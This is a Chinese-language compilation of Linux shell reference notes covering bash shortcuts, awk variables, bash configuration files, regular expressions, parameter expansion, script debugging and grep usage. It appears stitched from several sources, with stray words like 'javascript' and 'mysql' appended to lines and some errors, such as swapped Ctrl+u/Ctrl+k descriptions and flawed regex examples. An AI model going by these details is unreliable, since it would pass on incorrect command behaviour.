Shell腳本編程的常識

linux 經常使用快捷鍵

Ctrl + u  : 由光標所在位置開始,刪除右方全部的字符,直到該行結束 (還有剪切功能)

Ctrl + k  : 由光標所在位置開始,刪除左方全部的字符,直到該行開始(還有剪切功能)javascript

Ctrl + y  : 粘貼Ctrl+u或Ctrl+k剪切的內容css

Ctrl + 左右鍵 : 在單詞之間跳轉html

Ctrl + xx  : 在光標當前出與命令行最開始的地方之間移動java

Ctrl  + a + Ctrl  + k Ctrl  + e + Ctrl  + u Ctrl  + k + Ctrl  + u 組合可刪除整行node

Ctrl + r  : 搜索歷史命令,隨着輸入會顯示歷史命令中的一條匹配命令,Enter鍵執行匹配命令;ESC鍵在命令行顯示而不執行匹配命令python

Ctrl + g  : 從歷史搜索模式(Ctrl + r)退出mysql

ESC + b  : 往回(左)移動一個單詞linux

ESC + f  : 日後(右)移動一個單詞git

Ctrl + t  : 交換光標處和以前兩個字符的位置。程序員

Ctrl + _  : 回覆以前的狀態。撤銷操做

Ctrl + w  : 刪除光標前面的單詞的字符

Ctrl + a : 跳到本行的行首

Ctrl + e : 跳到頁尾

Ctrl + L  : 進行清屏操做

 

 

Linux命令行編輯快捷鍵:

history 顯示命令歷史列表

!num 執行命令歷史列表的第num條命令

!! 執行上一條命令

!?string? 執行含有string字符串的最新命令

Ctrl+r 而後輸入若干字符,開始向上搜索包含該字符的命令,繼續按Ctrl+r,搜索上一條匹配的命令

Ctrl+s 與Ctrl+r相似,只是正向檢索

Alt+< 歷史列表第一項

Alt+> 歷史列表最後一項

Alt+f 光標向前移動一個單詞

Alt+b 光標向後移動一個單詞

ls !$ 執行命令ls,並以上一條命令的參數爲其參數

Ctrl+a 移動到當前行的開頭

Ctrl+e 移動到當前行的結尾

Esc+b 移動到當前單詞的開頭

Esc+f 移動到當前單詞的結尾

Ctrl+l 清屏

Ctrl+u 剪切命令行中光標所在處以前的全部字符(不包括自身)

Ctrl+k 剪切命令行中光標所在處以後的全部字符(包括自身)

Ctrl+y 粘貼剛纔所刪除的字符

Ctrl+w 剪切光標所在處以前的一個詞(以空格、標點等爲分隔符)

Alt+d 剪切光標以後的詞

Esc+w 刪除光標所在處以前的字符至其單詞尾(以空格、標點等爲分隔符)

Ctrl+t 顛倒光標所在處及其以前的字符位置,並將光標移動到下一個字符

Alt+t 交換當前與之前單詞的位置

Alt+u 把當前詞轉化爲大寫

Alt+l 把當前詞轉化爲小寫

Alt+c 把當前詞彙變成首字符大寫

Ctrl+v 插入特殊字符,如Ctrl+v+Tab加入Tab字符鍵

Esc+t 顛倒光標所在處及其相鄰單詞的位置

Ctrl+c 刪除整行

Ctrl+(x u) 按住Ctrl的同時再前後按x和u,撤銷剛纔的操做

Ctrl+s 掛起當前shell

Ctrl+q 從新啓用掛起的shell

[Ctrl] + [Alt] + [Backspace] = 殺死你當前的 X 會話。殺死圖形化桌面會話,把你返回到登陸屏幕。若是正常退出步驟不起做用,你能夠使用這種方法。

[Ctrl] + [Alt] + [Delete] = 關機和從新引導 Red Hat Linux。關閉你當前的會話而後從新引導 OS。只有在正常關機步驟不起做用時才使用這種方法。

[Ctrl] + [Alt] + [Fn] = 切換屏幕。 [Ctrl] + [Alt] + 功能鍵之一會顯示一個新屏幕。根據默認設置,從 [F1] 到 [F6] 是 shell 提示屏幕, [F7] 是圖形化屏幕。

[Alt] + [Tab] = 在圖形化桌面環境中切換任務。若是你同時打開了不止一個應用程序,你能夠使用 [Alt] + [Tab] 來在打開的任務和應用程序間切換。

[Ctrl] + [a] = 把光標移到行首。它在多數文本編輯器和 Mozilla 的 URL 字段內能夠使用。

[Ctrl] + [d] = 從 shell 提示中註銷(並關閉)。使用該快捷鍵,你就沒必要鍵入 exit 或 logout 。

[Ctrl] + [e] = 把光標移到行尾。它在多數文本編輯器和 Mozilla 的 URL 字段內均可使用。

[Ctrl] + [l] = 清除終端。該快捷操做與在命令行鍵入 clear 做用相同。

[Ctrl] + = 清除當前行。若是你在終端下工做,使用這一快捷操做能夠清除從光標處到行首的字符。

[鼠標中間鍵] = 粘貼突出顯示的文本。使用鼠標左鍵來突出顯示文本。把光標指向你想粘貼文本的地方。點擊鼠標中間鍵來粘貼它。在兩鍵鼠標系統中,若是你把鼠標配置成模擬第三鍵,你能夠同時點擊鼠標的左右兩鍵來執行粘貼。

[Tab] =命令行自動補全。使用 shell 提示時可以使用這一命令。鍵入命令或文件名的前幾個字符,而後按 [Tab] 鍵,它會自動補全命令或顯示匹配你鍵入字符的全部命令。

[向上] 和 [向下] 箭頭 = 顯示命令歷史。當你使用 shell 提示時,按 [向上] 或 [向下] 箭頭來先後查看你在當前目錄下鍵入的命令歷史。當你看到你想使用的命令時,按 [Enter] 鍵。

clear = 清除 shell 提示屏幕。在命令行下鍵入它會清除全部這個 shell 提示屏幕中顯示的數據。

exit = 註銷。在 shell 提示中鍵入它會註銷當前的用戶或根用戶賬號。

history = 顯示命令歷史。在 shell 提示中鍵入它來顯示你所鍵入的被編號的前 1000 個命令。要顯示較短的命令歷史,鍵入 history f以後,空一格,在鍵入一個數字。例如: history 20 。

reset = 刷新 shell 提示屏幕。若是字符不清晰或亂碼的話,在 shell 提示下鍵入這個命令會刷新屏幕。

# Ctrl-U: 擦除一行光標前面的部分。

# Ctrl-H: 擦除光標前面的一個字符。

# Ctrl-D: 終止輸入。(退出 shell,若是您正在使用 shell 的話)。

# Ctrl-C: 終止當前正在運行的程序。

# Ctrl-Z: 暫停程序。

# Ctrl-S: 中止向屏幕輸出。

# Ctrl-Q: 從新激活向屏幕輸出。

默認的 shell,`bash’, 有歷史編輯和 tab 補齊功能。

# up-arrow: 開始歷史命令搜索。

# Ctrl-R: 開始增量歷史命令搜索,能夠按照關鍵字查查本身用過哪些命令。

# TAB: 完整的把文件名輸入到命令行。

# Ctrl-V TAB: 輸入 TAB 而不是擴展命令行。

# Ctrl-U: 擦除一行光標前面的部分。

# Ctrl + Y - 粘貼前一Ctrl+U類命令刪除的字符 ,是粘貼不是撤銷啊!

下面的應用可能稍稍高級一點點

# !! - 上一條命令

# !-n - 倒數第N條歷史命令

# !-n:p - 打印上一條命令(不執行)

# !?string?- 最新一條含有「string」的命令

# !-n:gs/str1/str2/ - 將倒數第N條命令的str1替換爲str2,並執行(若不加g,則僅替換第一個)

其餘一些有用的Linux命令行按鍵組合。

Ctrl-Alt-Del:掛起或者從新啓動系統,這三個Linux命令行按鍵在Linux下能夠輕鬆地修改爲關機的操做,這對於單用戶的朋友仍是很方便的

 

linux awk 內置變量使用介紹

 

1、內置變量表

 

屬性 說明
$0 當前記錄(做爲單個變量)
$1~$n 當前記錄的第n個字段,字段間由FS分隔
FS 輸入字段分隔符 默認是空格
NF 當前記錄中的字段個數,就是有多少列
NR 已經讀出的記錄數,就是行號,從1開始
RS 輸入的記錄他隔符默 認爲換行符
OFS 輸出字段分隔符 默認也是空格
ORS 輸出的記錄分隔符,默認爲換行符
ARGC 命令行參數個數
ARGV 命令行參數數組
FILENAME 當前輸入文件的名字
IGNORECASE 若是爲真,則進行忽略大小寫的匹配
ARGIND 當前被處理文件的ARGV標誌符
CONVFMT 數字轉換格式 %.6g
ENVIRON UNIX環境變量
ERRNO UNIX系統錯誤消息
FIELDWIDTHS 輸入字段寬度的空白分隔字符串
FNR 當前記錄數
OFMT 數字的輸出格式 %.6g
RSTART 被匹配函數匹配的字符串首
RLENGTH 被匹配函數匹配的字符串長度
SUBSEP \034

 

二、實例

一、經常使用操做

[chengmo@localhost ~]$ awk '/^root/{print $0}' /etc/passwd 
root:x:0:0:root:/root:/bin/bash

/^root/ 爲選擇表達式,$0表明是逐行

二、設置字段分隔符號(FS使用方法)

[chengmo@localhost ~]$ awk 'BEGIN{FS=":"}/^root/{print $1,$NF}' /etc/passwd
root /bin/bash

 

FS爲字段分隔符,能夠本身設置,默認是空格,由於passwd裏面是」:」分隔,因此須要修改默認分隔符。NF是字段總數,$0表明當前行記錄,$1-$n是當前行,各個字段對應值。

三、記錄條數(NR,FNR使用方法)

[chengmo@localhost ~]$ awk 'BEGIN{FS=":"}{print NR,$1,$NF}' /etc/passwd
1 root /bin/bash
2 bin /sbin/nologin
3 daemon /sbin/nologin
4 adm /sbin/nologin
5 lp /sbin/nologin
6 sync /bin/sync
7 shutdown /sbin/shutdown
……

NR獲得當前記錄所在行

四、設置輸出字段分隔符(OFS使用方法)

[chengmo@localhost ~]$ awk 'BEGIN{FS=":";OFS="^^"}/^root/{print FNR,$1,$NF}' /etc/passwd
1^^root^^/bin/bash

 

OFS設置默認字段分隔符

五、設置輸出行記錄分隔符(ORS使用方法)

 

[chengmo@localhost ~]$ awk 'BEGIN{FS=":";ORS="^^"}{print FNR,$1,$NF}' /etc/passwd       
1 root /bin/bash^^2 bin /sbin/nologin^^3 daemon /sbin/nologin^^4 adm /sbin/nologin^^5 lp /sbin/nologin

 

從上面看,ORS默認是換行符,這裏修改成:」^^」,全部行之間用」^^」分隔了。

六、輸入參數獲取(ARGC ,ARGV使用)

[chengmo@localhost ~]$ awk 'BEGIN{FS=":";print "ARGC="ARGC;for(k in ARGV) {print k"="ARGV[k]; }}' /etc/passwd
ARGC=2
0=awk
1=/etc/passwd

 

ARGC獲得全部輸入參數個數,ARGV得到輸入參數內容,是一個數組。

七、得到傳入的文件名(FILENAME使用)

[chengmo@localhost ~]$ awk 'BEGIN{FS=":";print FILENAME}{print FILENAME}' /etc/passwd

/etc/passwd

FILENAME,$0-$N,NF 不能使用在BEGIN中,BEGIN中不能得到任何與文件記錄操做的變量。

 

八、得到linux環境變量(ENVIRON使用)

[chengmo@localhost ~]$ awk 'BEGIN{print ENVIRON["PATH"];}' /etc/passwd    
/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/lib/icecc/bin:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/java/jdk1.5.0_17/bin:/usr/java/jdk1.5.0_17/jre/bin:/usr/local/mysql/bin:/home/web97/bin

ENVIRON是子典型數組,能夠經過對應鍵值得到它的值。

九、輸出數據格式設置:(OFMT使用)

[chengmo@localhost ~]$ awk 'BEGIN{OFMT="%.3f";print 2/3,123.11111111;}' /etc/passwd   
0.667 123.111

 

OFMT默認輸出格式是:%.6g 保留六位小數,這裏修改OFMT會修改默認數據輸出格式。

十、按寬度指定分隔符(FIELDWIDTHS使用)

[chengmo@localhost ~]$ echo 20100117054932 | awk 'BEGIN{FIELDWIDTHS="4 2 2 2 2 3"}{print $1"-"$2"-"$3,$4":"$5":"$6}'
2010-01-17 05:49:32

 

FIELDWIDTHS其格式爲空格分隔的一串數字,用以對記錄進行域的分隔,FIELDWIDTHS="4 2 2 2 2 2"就表示$1寬度是4,$2是2,$3是2  .... 。這個時候會忽略:FS分隔符。

 

十一、RSTART RLENGTH使用

[chengmo@localhost ~]$ awk 'BEGIN{start=match("this is a test",/[a-z]+$/); print start, RSTART, RLENGTH }'
11 11 4
[chengmo@localhost ~]$ awk 'BEGIN{start=match("this is a test",/^[a-z]+$/); print start, RSTART, RLENGTH }'
0 0 –1

RSTART 被匹配正則表達式首位置,RLENGTH 匹配字符長度,沒有找到爲-1.

Bash shell類型

  • 登陸shell(須要密碼)

      正常經過某一個終端來登陸,須要輸入用戶名和密碼。

      使用su - username

      使用su -l username

  • 非登陸shell(不須要密碼)

      su username

      圖形終端下打開終端窗口

      自動執行的shell腳本

  • BASH的配置文件:

   全局配置使用的配置文件:

/etc/profile    
/etc/profile.d/*.sh
/etc/bashrc

 編輯以上3個配置文件中的任何一個,對全部的用戶都生效。

  • 我的配置

    使用的配置文件位於用戶家目錄下的以下兩個文件:

~/.bash_profile
~/.bashrc

   上述的兩個文件只對當前用戶生效。

若是全局配置和我的配置致使衝突,則以我的配置的優先。

  • profile類的文件做用:

      定義環境變量

      運行命令或腳本

  • bashrc類的文件的做用:

      定義本地變量

      定義命令別名

  • 登陸shell 讀取配置文件的順序
/etc/profile --> /etc/profile.d/*.sh  --> ~/.bash_profile --> ~/.bashrc --> /etc/bashrc
  • 非登陸shell 讀取配置文件的順序
~/.bashrc --> /etc/bashrc --> /etc/profile.d/*.sh

 Bash 變量

  注意:

一、腳本在執行時,會在當前shell下啓動一個子shell進程。

二、命令行中啓動的腳本會繼承當前shell的環境變量。

三、系統自動啓動的腳本(非命令行啓動)就須要自我定義各類所須要的環境變量。

環境變量:聲明環境變量的格式export VARNAME=VALUE  做用域:當前shell進程及其子進程。
本地變量:聲明本地變量的格式VARNAME=VALUE。 做用域:對整個腳本進程或整個bash進程有效。
局部變量:聲明局部鏈路的格式local VARNAME=VALUE。 做用域:只對當前的代碼段有效。
位置變量:$n,第n個位置變量,引用腳本中參數的位置的。若是n大於10,則要寫成${n}
特殊變量:bash內置的變量。如$?,保存的是上一個命令的執行狀態返回值(範圍是0-255),若是是0,則表示正確執行,若是是非0,則表示執行失敗。1,2,127爲系統預留。其餘值則能夠用戶自已定義。
引用變量:${var_name},若是不至於引發變量名混淆的,{}能夠省略。
查看shell中的變量(包括環境變量和本地變量):set
查看當前shell中的環境變量:printenv/env/export
 
取消變量:unset

變量定義規則:

一、不能和系統中的環境變量重名。

二、變量名只能包含字母、數字、下劃線,且不能以數字開始。

三、最好作到見名知意

 Bash 通配符、正則表達式、擴展正則表達式

  BASH中的通配符(wildcard)
複製代碼
*:任意長度的任意字符。
?:任意單個字符
[]:匹配範圍
[^]:排除匹配範圍
[:alnum:]:全部字母和數字
[:alpha:]:全部字母
[:digit:]:全部數字 
[:lower:]:全部小寫字母
[:upper:]:全部大寫字母 
[:blank:]:空白字符和TAB製表符
[:space:]:包括空白字符、TAB製表符(\t)、換頁(\f)
[:cntrl:]:全部控制字符 
[:graph:]:可打印並可看到的字符。空格是可打印的,可是不是可看到的。  
[:print:]:全部可打印字符
[:punct:]:全部標點符號,非字母、數字、控制字符和space字符。  
[:xdigit:]:十六進制數的字符。
  • 正則表達式
.:表示匹配任意單個字符。
*:表示匹配前面的字符任意次,包括0次。
.*:表示匹配任意長度的任意字符。
?:可能須要使用反斜線進行轉義才能夠,表示的是前面的字符出現0次或1次。\?
\{n,m\}:匹配前面字符出現n到m次。
\{n,\}:匹配前面字符出現n次以上。
\{n\}:匹配前面字符出現n次。
^:匹配行首,此字符後面的內容必須出如今行首。
$:匹配行尾,此字符後面的內容必須出如今行尾。
^$:匹配空白行。
[]:表示指定匹配範圍內的任意單個字符。
[^]:表示指定範圍外的任意單個字符。
注意:使用下面的匹配時,要使用兩個方括號,如[[:alpha:]]
[:alnum:]  [:alpha:]  [:blank:]  [:cntrl:]
[:digit:]  [:graph:]  [:lower:]  [:print:]
[:punct:]  [:space:]  [:upper:]  [:xdigit:]
\<:表示其後面的任意字符必須做爲單詞的首部出現。
\>:表示其前面的任意字符必須做爲單次的尾部出現。
上述的兩個,也能夠用\b來表示。
如:\broot表示root出如今詞首。root\b表示root出如今詞尾。
\<root\>:表示的root單次必須出如今詞首和詞尾。
\(\):將字符串分組,做爲一個總體。
  • 擴展正則表達式
字符匹配
  .:匹配任意單個字符
  []:匹配指定範圍內的任意單個字符
  [^]:匹配指定範圍外的任意單個字符
  [-]:匹配[]中指定範圍內的任意一個字符,要寫成遞增
POSIX字符類:
  [:digit:]:匹配任意一個數字字符
  [:lower:]:匹配小寫字母
  [:upper:]:匹配大寫字母
  [:alpha:]:匹配任意一個字母字符(包括大小寫字母)
  [:alnum:]:匹配任意一個字母或數字字符
  [:space:]:匹配一個包括換行符、回車等在內的全部空白符
  [:punct:]:匹配標點符號
  \:轉義符,將特殊字符進行轉義,忽略其特殊意義
匹配次數:
  *:匹配前面的字符任意次
  .*:任意長度的任意字符
  ?:匹配其前面的字符0或1次;即前面的無關緊要
  +:匹配其前面的字符至少1次;
  {m}:匹配前面的字符m次;
  {m,n}:匹配前面的字符至少m次,至多n次;
  {0,n}:匹配前面的字符至多n次;
  {m,}:匹配前面的字符至少m次;
位置錨定:
  ^:行首錨定;用於模式的最左側;
  $:行尾錨定;用於模式的最右側;
  ^PATTERN$: 用於模式匹配整行;
  ^$: 空行;
  ^[[:space:]]*$:空白行
單詞錨定:
  \< 或 \b:詞首錨定;用於單詞模式的左側;
  \> 或 \b:詞尾錨定;用於單詞模式的右側;
  \<PATTERN\>:匹配整個單詞;
分組:
  ():將一個或多個字符捆綁在一塊兒,看成一個總體進行處理;
  (xy)*abNote:分組括號中的模式匹配到的內容會被正則表達式引擎記錄於內部的變量中,這些變量的命名方式爲: \1, \2, \3, …
  \1: 從左側起,第一個左括號以及與之匹配右括號之間的模式所匹配到的字符;
  \2:從左側起,第:二個左括號以及與之匹配右括號之間的模式所匹配到的字符;
  後向引用:引用前面的分組括號中的模式所匹配字符,(而非模式自己)
或者:
  a|b
  C|cat: C或cat

Bash 內置高效特性

  變量(字符串)變換
定義一個變量t,內容爲framE
[root@vm1 tmp]# t=framE
 
查看變量t的內容:echo $t或者是echo ${t}
[root@vm1 tmp]# echo $t
framE
[root@vm1 tmp]#
 
將變量t的首字母大寫:echo ${t^}
[root@vm1 tmp]# echo ${t^}
FramE
[root@vm1 tmp]# 
 
將變量t的全部字母大寫:echo ${t^^}
[root@vm1 tmp]# echo ${t^^}
FRAME
[root@vm1 tmp]# 
 
將變量t的首字母小寫:echo ${t,}
[root@vm1 tmp]# echo ${t,}
framE
[root@vm1 tmp]#
 
將變量t的全部字母小寫:echo ${t,,}
[root@vm1 tmp]# echo ${t,,}
frame
[root@vm1 tmp]# 
 
將變量t的首字母大小寫切換:echo ${t~}
[root@vm1 tmp]# echo ${t~}
FramE
[root@vm1 tmp]#
 
將變量t的全部字母大小寫切換:echo ${t~~}
[root@vm1 tmp]# echo ${t~~}
FRAMe
[root@vm1 tmp]# 
 
總結:
 
^:首字母大寫
^^:全部字母大寫
,:首字母小寫
,,:全部字母小寫
~:首字母大小寫切換
~~:全部字母大小寫切換
  • 移除匹配的字符串
定義一個變量filename,該變量的值爲pwd所對應的當前路徑
[root@vm1 network-scripts]# filename="$(pwd)"
[root@vm1 network-scripts]# echo $filename
/etc/sysconfig/network-scripts
[root@vm1 network-scripts]# 
 
從前日後刪,刪除掉最短的一個"/"
[root@vm1 network-scripts]# echo ${filename#*/}
etc/sysconfig/network-scripts
[root@vm1 network-scripts]# 
 
從前日後刪,刪除掉最長的一個"/"
[root@vm1 network-scripts]# echo ${filename##*/}
network-scripts
[root@vm1 network-scripts]# 
 
從後往前刪,刪除掉最短的一個"/"
[root@vm1 network-scripts]# echo ${filename%/*}
/etc/sysconfig
[root@vm1 network-scripts]# 
 
從後往前刪,刪除掉最短的一個"/"
[root@vm1 network-scripts]# echo ${filename%%/*}
 
#:從前日後刪,刪除掉最短的一個
##:從前日後刪,刪除掉最長的一個
%:從後往前刪,刪除掉最短的一個
%%:從後往前刪,刪除掉最長的一個
  • 查找與替換
查看變量filename的內容:
[root@vm1 network-scripts]# echo $filename
/etc/sysconfig/network-scripts
[root@vm1 network-scripts]#
 
將第一次出現的小寫s替換成大寫的S
[root@vm1 network-scripts]# echo ${filename/s/S}
/etc/Sysconfig/network-scripts
[root@vm1 network-scripts]#
 
將全部的小寫s替換成大寫的S
[root@vm1 network-scripts]# echo ${filename//s/S}
/etc/SySconfig/network-ScriptS
[root@vm1 network-scripts]# 
 
總結:
/match/value:將第一次出現的match地換成value
//match/value:將全部的match替換成value
  • 其餘字符串的操做符
查詢字符串的長度:echo {#filename}
[root@vm1 network-scripts]# echo ${#filename}
30
[root@vm1 network-scripts]# 
 
字符串切片操做:${filename:offset:length}  offset從0開始
[root@vm1 network-scripts]# echo ${filename:5:9}
sysconfig
[root@vm1 network-scripts]#
 Linux - shell變量

env命令 :查看系統經常使用變量。主要查系統內置。

用readlink命令咱們能夠直接獲取$0參數的全路徑文件名,而後再用dirname獲取其所在的絕對路徑:

SHELL_FOLDER=$(dirname $(readlink -f "$0"))
# find . -type f ! -name "*.o" -type f ! -name ".*"
排除以「.o」結尾的文件,以及排除隱藏文件

顯示/proc/meminfo文件中以大寫或小寫S開頭的行;用兩種方式;
cat /tmp/meminfo | grep 「^[s*|S*]」

cat /tmp/meminfo | grep -i 「^[s*]」

七、顯示/etc/passwd文件中其默認shell爲非/sbin/nologin的用戶;
cat /etc/passwd | grep -v 「/sbin/nologin」 | cut -d’:’ -f1

八、顯示/etc/passwd文件中其默認shell爲/bin/bash的用戶;
cat /etc/passwd | grep ‘/bin/bash’ | cut -d’:’ -f1

九、找出/etc/passwd文件中的一位數或兩位數;
cat /etc/passwd | grep -o ‘[[:digit:]]\{1,2\}’

十、顯示/boot/grub/grub.conf中以致少一個空白字符開頭的行;
cat /boot/grub/grub.conf | grep ‘^[[:space:]]\{1,\}*’

sh -x strangescript 

  這將執行該腳本並顯示全部變量的值。 

  shell還有一個不須要執行腳本只是檢查語法的模式。能夠這樣使用: 

sh -n your_script 

  這將返回全部語法錯誤。 

linux/unix shell l腳本調試方法 
Shell提供了一些用於調試腳本的選項,以下所示: 
-n 
讀一遍腳本中的命令但不執行,用於檢查腳本中的語法錯誤 
-v 
一邊執行腳本,一邊將執行過的腳本命令打印到標準錯誤輸出 
-x 
提供跟蹤執行信息,將執行的每一條命令和結果依次打印出來 
使用這些選項有三種方法,一是在命令行提供參數 

Linux經常使用指令---grep(搜索過濾)

  Linux系統中grep命令是一種強大的文本搜索工具,它能使用正則表達式搜索文本,並把匹 配的行打印出來。grep全稱是Global Regular Expression Print,表示全局正則表達式版本,它的使用權限是全部用戶。

grep的工做方式是這樣的,它在一個或多個文件中搜索字符串模板。若是模板包括空格,則必須被引用,模板後的全部字符串被看做文件名。搜索的結果被送到標準輸出,不影響原文件內容。

grep可用於shell腳本,由於grep經過返回一個狀態值來講明搜索的狀態,若是模板搜索成功,則返回0,若是搜索不成功,則返回1,若是搜索的文件不存在,則返回2。咱們利用這些返回值就可進行一些自動化的文本處理工做。

1.命令格式:

grep [option] pattern file

2.命令功能:

用於過濾/搜索的特定字符。可以使用正則表達式能多種命令配合使用,使用上十分靈活。

3.命令參數:

-a   --text   #不要忽略二進制的數據。   

-A<顯示行數>   --after-context=<顯示行數>   #除了顯示符合範本樣式的那一列以外,並顯示該行以後的內容。   

-b   --byte-offset   #在顯示符合樣式的那一行以前,標示出該行第一個字符的編號。   

-B<顯示行數>   --before-context=<顯示行數>   #除了顯示符合樣式的那一行以外,並顯示該行以前的內容。   

-c    --count   #計算符合樣式的列數。   

-C<顯示行數>    --context=<顯示行數>或-<顯示行數>   #除了顯示符合樣式的那一行以外,並顯示該行以前後的內容。   

-d <動做>      --directories=<動做>   #當指定要查找的是目錄而非文件時,必須使用這項參數,不然grep指令將回報信息並中止動做。   

-e<範本樣式>  --regexp=<範本樣式>   #指定字符串作爲查找文件內容的樣式。   

-E      --extended-regexp   #將樣式爲延伸的普通表示法來使用。   

-f<規則文件>  --file=<規則文件>   #指定規則文件,其內容含有一個或多個規則樣式,讓grep查找符合規則條件的文件內容,格式爲每行一個規則樣式。   

-F   --fixed-regexp   #將樣式視爲固定字符串的列表。   

-G   --basic-regexp   #將樣式視爲普通的表示法來使用。   

-h   --no-filename   #在顯示符合樣式的那一行以前,不標示該行所屬的文件名稱。   

-H   --with-filename   #在顯示符合樣式的那一行以前,表示該行所屬的文件名稱。   

-i    --ignore-case   #忽略字符大小寫的差異。   

-l    --file-with-matches   #列出文件內容符合指定的樣式的文件名稱。   

-L   --files-without-match   #列出文件內容不符合指定的樣式的文件名稱。   

-n   --line-number   #在顯示符合樣式的那一行以前,標示出該行的列數編號。   

-q   --quiet或--silent   #不顯示任何信息。   

-r   --recursive   #此參數的效果和指定「-d recurse」參數相同。   

-s   --no-messages   #不顯示錯誤信息。   

-v   --revert-match   #顯示不包含匹配文本的全部行。   

-V   --version   #顯示版本信息。   

-w   --word-regexp   #只顯示全字符合的列。   

-x    --line-regexp   #只顯示全列符合的列。   

-y   #此參數的效果和指定「-i」參數相同。

  

4.規則表達式:

grep的規則表達式:

^  #錨定行的開始 如:'^grep'匹配全部以grep開頭的行。    

$  #錨定行的結束 如:'grep$'匹配全部以grep結尾的行。    

.  #匹配一個非換行符的字符 如:'gr.p'匹配gr後接一個任意字符,而後是p。    

*  #匹配零個或多個先前字符 如:'*grep'匹配全部一個或多個空格後緊跟grep的行。    

.*   #一塊兒用表明任意字符。   

[]   #匹配一個指定範圍內的字符,如'[Gg]rep'匹配Grep和grep。    

[^]  #匹配一個不在指定範圍內的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一個字母開頭,緊跟rep的行。    

\(..\)  #標記匹配字符,如'\(love\)',love被標記爲1。    

\<      #錨定單詞的開始,如:'\<grep'匹配包含以grep開頭的單詞的行。    

\>      #錨定單詞的結束,如'grep\>'匹配包含以grep結尾的單詞的行。    

x\{m\}  #重複字符x,m次,如:'0\{5\}'匹配包含5個o的行。    

x\{m,\}  #重複字符x,至少m次,如:'o\{5,\}'匹配至少有5個o的行。    

x\{m,n\}  #重複字符x,至少m次,很少於n次,如:'o\{5,10\}'匹配5--10個o的行。   

\w    #匹配文字和數字字符,也就是[A-Za-z0-9],如:'G\w*p'匹配以G後跟零個或多個文字或數字字符,而後是p。   

\W    #\w的反置形式,匹配一個或多個非單詞字符,如點號句號等。   

\b    #單詞鎖定符,如: '\bgrep\b'只匹配grep。  

POSIX字符:

爲了在不一樣國家的字符編碼中保持一至,POSIX(The Portable Operating System Interface)增長了特殊的字符類,如[:alnum:]是[A-Za-z0-9]的另外一個寫法。要把它們放到[]號內才能成爲正則表達式,如[A- Za-z0-9]或[[:alnum:]]。在linux下的grep除fgrep外,都支持POSIX的字符類。

[:alnum:]    #文字數字字符   

[:alpha:]    #文字字符   

[:digit:]    #數字字符   

[:graph:]    #非空字符(非空格、控制字符)   

[:lower:]    #小寫字符   

[:cntrl:]    #控制字符   

[:print:]    #非空字符(包括空格)   

[:punct:]    #標點符號   

[:space:]    #全部空白字符(新行,空格,製表符)   

[:upper:]    #大寫字符   

[:xdigit:]   #十六進制數字(0-9,a-f,A-F)  

5.使用實例:

實例1:查找指定進程

命令:

ps -ef|grep svn

輸出:

[root@localhost ~]# ps -ef|grep svn

root 4943   1      0  Dec05 ?   00:00:00 svnserve -d -r /opt/svndata/grape/

root 16867 16838  0 19:53 pts/0    00:00:00 grep svn

[root@localhost ~]#

說明:

第一條記錄是查找出的進程;第二條結果是grep進程自己,並不是真正要找的進程。

實例2:查找指定進程個數

命令:

ps -ef|grep svn -c

ps -ef|grep -c svn

輸出:

[root@localhost ~]# ps -ef|grep svn -c

2

[root@localhost ~]# ps -ef|grep -c svn 

2

[root@localhost ~]#

說明:

實例3:從文件中讀取關鍵詞進行搜索

命令:

cat test.txt | grep -f test2.txt

輸出:

[root@localhost test]# cat test.txt 

hnlinux

peida.cnblogs.com

ubuntu

ubuntu linux

redhat

Redhat

linuxmint

[root@localhost test]# cat test2.txt 

linux

Redhat

[root@localhost test]# cat test.txt | grep -f test2.txt

hnlinux

ubuntu linux

Redhat

linuxmint

[root@localhost test]#

說明:

輸出test.txt文件中含有從test2.txt文件中讀取出的關鍵詞的內容行

實例3:從文件中讀取關鍵詞進行搜索 且顯示行號

命令:

cat test.txt | grep -nf test2.txt

輸出:

[root@localhost test]# cat test.txt 

hnlinux

peida.cnblogs.com

ubuntu

ubuntu linux

redhat

Redhat

linuxmint

[root@localhost test]# cat test2.txt 

linux

Redhat

[root@localhost test]# cat test.txt | grep -nf test2.txt

1:hnlinux

4:ubuntu linux

6:Redhat

7:linuxmint

[root@localhost test]#

說明:

輸出test.txt文件中含有從test2.txt文件中讀取出的關鍵詞的內容行,並顯示每一行的行號

實例5:從文件中查找關鍵詞

命令:

grep 'linux' test.txt

輸出:

[root@localhost test]# grep 'linux' test.txt 

hnlinux

ubuntu linux

linuxmint

[root@localhost test]# grep -n 'linux' test.txt 

1:hnlinux

4:ubuntu linux

7:linuxmint

[root@localhost test]#

說明:

實例6:從多個文件中查找關鍵詞

命令:

grep 'linux' test.txt test2.txt

輸出:

[root@localhost test]# grep -n 'linux' test.txt test2.txt 

test.txt:1:hnlinux

test.txt:4:ubuntu linux

test.txt:7:linuxmint

test2.txt:1:linux

[root@localhost test]# grep 'linux' test.txt test2.txt 

test.txt:hnlinux

test.txt:ubuntu linux

test.txt:linuxmint

test2.txt:linux

[root@localhost test]#

說明:

多文件時,輸出查詢到的信息內容行時,會把文件的命名在行最前面輸出而且加上":"做爲標示符

實例7:grep不顯示自己進程

命令:

ps aux|grep \[s]sh

ps aux | grep ssh | grep -v "grep"

輸出:

[root@localhost test]# ps aux|grep ssh

root   2720  0.0  0.0  62656  1212 ?      Ss   Nov02   0:00 /usr/sbin/sshd

root  16834  0.0  0.0  88088  3288 ?      Ss   19:53   0:00 sshd: root@pts/0 

root  16901  0.0  0.0  61180   764 pts/0  S+   20:31   0:00 grep ssh

[root@localhost test]# ps aux|grep \[s]sh]

[root@localhost test]# ps aux|grep \[s]sh

root   2720  0.0  0.0  62656  1212 ?      Ss   Nov02   0:00 /usr/sbin/sshd

root  16834  0.0  0.0  88088  3288 ?      Ss   19:53   0:00 sshd: root@pts/0 

[root@localhost test]# ps aux | grep ssh | grep -v "grep"

root   2720  0.0  0.0  62656  1212 ?      Ss   Nov02   0:00 /usr/sbin/sshd

root  16834  0.0  0.0  88088  3288 ?      Ss   19:53   0:00 sshd: root@pts/0

說明:

實例8:找出已u開頭的行內容

命令:

cat test.txt |grep ^u

輸出:

[root@localhost test]# cat test.txt |grep ^u

ubuntu

ubuntu linux

[root@localhost test]#

說明:

實例9:輸出非u開頭的行內容

命令:

cat test.txt |grep ^[^u]

輸出:

[root@localhost test]# cat test.txt |grep ^[^u]

hnlinux

peida.cnblogs.com

redhat

Redhat

